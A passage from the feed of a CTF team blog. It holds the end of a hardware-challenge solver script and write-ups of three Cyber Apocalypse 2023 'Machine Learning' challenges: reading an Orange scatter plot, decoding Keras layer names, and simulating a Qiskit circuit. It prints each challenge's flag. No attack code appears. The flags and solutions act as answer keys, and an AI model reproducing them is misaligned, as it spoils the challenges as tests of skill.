class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">flag&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="s1">&amp;#39;0&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">flag&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="s1">&amp;#39;b&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">flag&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="s1">&amp;#39;d&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">flag&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="s1">&amp;#39;e&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">flag&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="s1">&amp;#39;f&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#print(flag)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">bytes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">fromhex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Flag is: &lt;strong>HTB{p0w32_c0m35_f20m_w17h1n@!#}&lt;/strong>&lt;/p></description></item><item><title>Cyber Apocalypse 2023: The Cursed Mission - Machine Learning</title><link>https://bkisc-blog.netlify.app/blog/bkisc/htb2023-ml/</link><pubDate>Mon, 27 Mar 2023 00:00:00 +0000</pubDate><guid>https://bkisc-blog.netlify.app/blog/bkisc/htb2023-ml/</guid><description>&lt;p>
&lt;ul class="tags-list">
&lt;a href="https://bkisc-blog.netlify.app/tag/ctf/">ctf&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/writeup/">writeup&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/htb-2023/">htb-2023&lt;/a>
&lt;/ul>
&lt;details class="toc-inpage d-print-none " open>
&lt;summary class="font-weight-bold">Table of Contents&lt;/summary>
&lt;nav id="TableOfContents">
&lt;ul>
&lt;li>&lt;a href="#reconfiguration">Reconfiguration&lt;/a>&lt;/li>
&lt;li>&lt;a href="#mysterious-learnings">Mysterious Learnings&lt;/a>&lt;/li>
&lt;li>&lt;a href="#last-hope">Last Hope&lt;/a>&lt;/li>
&lt;li>&lt;a href="#on-the-rescue">On The Rescue&lt;/a>&lt;/li>
&lt;/ul>
&lt;/nav>
&lt;/details>
&lt;/p>
&lt;h2 id="reconfiguration">Reconfiguration&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given zip:&lt;/strong> &lt;a href="https://drive.google.com/drive/folders/1Pao4nTUNcvjCksDgyRCFPk_UCYpHeDqw?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> As Pandora set out on her quest to find the ancient alien relic, she knew that the journey would be treacherous. The desert was vast and unforgiving, and the harsh conditions would put her cyborg body to the test. Pandora started by collecting data about the temperature and humidity levels in the desert. She used a scatter plot in an Orange Workspace file to visualize this data and identified the areas where the temperature was highest and the humidity was lowest. Using this information, she reconfigured her sensors to better withstand the extreme heat and conserve water. But, a second look at the data revealed something otherwordly, it seems that the relic&amp;rsquo;s presence beneath the surface has scarred the land in a very peculiar way, can you see it?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Machine Learning&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>In this challenge, we embarked on a quest to find an ancient alien relic hidden beneath the desert, following the footsteps of the cyborg Pandora. The task involved analyzing temperature and humidity data and uncovering peculiar patterns that hinted at the relic&amp;rsquo;s presence.&lt;/p>
&lt;p>To begin the analysis, we downloaded and installed the &lt;strong>Orange&lt;/strong> data mining tool, which is an open-source data visualization and analysis tool for data scientists. You can download it here: &lt;a href="https://orange.biolab.si/download/" target="_blank" rel="noopener">https://orange.biolab.si/download/&lt;/a>&lt;/p>
&lt;p>After installing &lt;strong>Orange&lt;/strong>, we opened the tool and loaded the &lt;strong>analysis.ows&lt;/strong> file. We then imported the &lt;strong>point.csv&lt;/strong> file into the Orange workspace by adding the &amp;ldquo;File&amp;rdquo; widget and selecting the &lt;strong>point.csv&lt;/strong> file from our computer. Next, we created a scatter plot to visualize the data. We added the &amp;ldquo;Scatter Plot&amp;rdquo; widget from &amp;ldquo;Visualize&amp;rdquo; panel to the workspace and connected it to the &amp;ldquo;File&amp;rdquo; widget.&lt;/p>
&lt;img src="guide.png" alt="Guide" width="1000"/>
&lt;p>By viewing the &amp;ldquo;Scatter Plot&amp;rdquo;, we got the flag:&lt;/p>
&lt;img src="flag.png" alt="Guide" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{sc4tter_pl0ts_4_th3_w1n}&lt;/strong>&lt;/p>
&lt;h2 id="mysterious-learnings">Mysterious Learnings&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given zip:&lt;/strong> &lt;a href="https://drive.google.com/drive/folders/15cjTqJqcDseU9niakqU64AqI09QlKFcU?usp=share_link" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> One day the archeologist came across a strange metal plate covered in uncommon hieroglyphics. It looked like blueprints for some kind of alien technology. &amp;ldquo;What kind of magic is this?&amp;rdquo; He studied the plate more closely and was amazed by the advanced technology and incredible engineering they were using at a time like this. This could only lead him in him wanting to learn more&amp;hellip;&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Machine Learning&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>In this challenge, we were given an &lt;strong>H5&lt;/strong> file containing a pre-trained machine learning model. Our task was to analyze the model and extract a hidden flag.&lt;/p>
&lt;p>&lt;strong>H5&lt;/strong> file format, also known as &lt;strong>Hierarchical Data Format (HDF5)&lt;/strong>, is a versatile data model that can store large amounts of data efficiently. It is widely used in scientific research and engineering for storing and managing data. The format organizes data hierarchically and enables fast I/O operations.&lt;/p>
&lt;p>To solve this challenge, we first needed to load the model from the H5 file and display its summary. We used &lt;strong>TensorFlow&lt;/strong> and &lt;strong>Keras&lt;/strong> libraries to achieve this. Here is the Python script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">tensorflow&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="nn">tf&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">tensorflow&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">keras&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Load the model from the HDF5 file&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">model&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">keras&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">models&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">load_model&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;alien.h5&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Display the model&amp;#39;s summary&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">model&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">summary&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>We noticed a few strings in the layer names that seemed to be part of the flag. By combining these strings,decoded it from base64 we were able to construct the flag.&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{th3s3_4l13nS_4r3_s00000_b4s1c}&lt;/strong>&lt;/p>
&lt;h2 id="last-hope">Last Hope&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given zip:&lt;/strong> &lt;a href="https://drive.google.com/drive/folders/19s7BGJ3ixtv732sDWy6VUshNhLRGC3Yn?usp=share_link" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> The quantum data came back and analyzed. DISASTER! Our best scientists all agree: Unfortunately our species and our whole culture are about to be eliminated. Due to abnormal behavior of the black hole&amp;rsquo;s singularity our planet is about to get swallowed. Project &amp;ldquo;ONESHOT&amp;rdquo; is our last hope&amp;hellip;&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Machine Learning&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>In this challenge, we are given a file containing &lt;strong>OpenQASM 2.0&lt;/strong> code, which represents a quantum circuit. Our goal is to execute the circuit and extract the flag, which is encoded in the most frequent bitstring resulting from the measurement of the quantum circuit.&lt;/p>
&lt;p>Here&amp;rsquo;s a brief write-up of the steps taken to solve this challenge:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>We start by reading the &lt;strong>OpenQASM&lt;/strong> code from the file named &amp;lsquo;&lt;strong>quantum_artifact.qasm&lt;/strong>&amp;rsquo; and store it as a string.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Next, we use &lt;strong>Qiskit&lt;/strong>, a &lt;strong>Python&lt;/strong> library for quantum computing, to convert the &lt;strong>OpenQASM&lt;/strong> code into a &lt;strong>QuantumCircuit&lt;/strong> object.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>We set up a quantum simulator using &lt;strong>Qiskit&amp;rsquo;s Aer&lt;/strong> module, which allows us to simulate quantum circuits on classical computers.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>We transpile the circuit, optimizing it for the simulator.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>We execute the transpiled circuit on the simulator with &lt;strong>1024&lt;/strong> shots, meaning the circuit is run &lt;strong>1024&lt;/strong> times, and store the result.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>From the result, we extract the counts, which is a dictionary containing the frequency of each bitstring.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>We iterate through the counts and find the most frequent bitstring, which is the binary representation of our flag.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>We convert the most frequent bitstring to a text string by splitting it into groups of 8 bits (1 byte) and using the int() and chr() functions to convert each byte to its corresponding character.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Finally, we print the decoded flag.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>The provided script follows these steps and successfully extracts the flag from the given quantum circuit.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">qiskit&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">QuantumCircuit&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">Aer&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">transpile&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># OpenQASM 2.0 code&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;quantum_artifact.qasm&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;r&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">openqasm_code&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">read&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Load the OpenQASM code into a Qiskit QuantumCircuit object&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">qc&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">QuantumCircuit&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">from_qasm_str&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">openqasm_code&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Set up a quantum simulator&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">simulator&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Aer&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_backend&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;qasm_simulator&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Transpile the circuit&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">transpiled_circuit&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">transpile&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">qc&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">simulator&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Run the circuit on the simulator&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">result&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">simulator&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">run&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">transpiled_circuit&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">shots&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">1024&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">result&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Get the counts from the result&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">counts&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">result&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_counts&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Find the most frequent bitstring&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">max_count&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">most_frequent_bitstring&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">bitstring&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">count&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">counts&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">items&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">count&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">max_count&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">max_count&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">count&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">most_frequent_bitstring&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">bitstring&lt;/span>
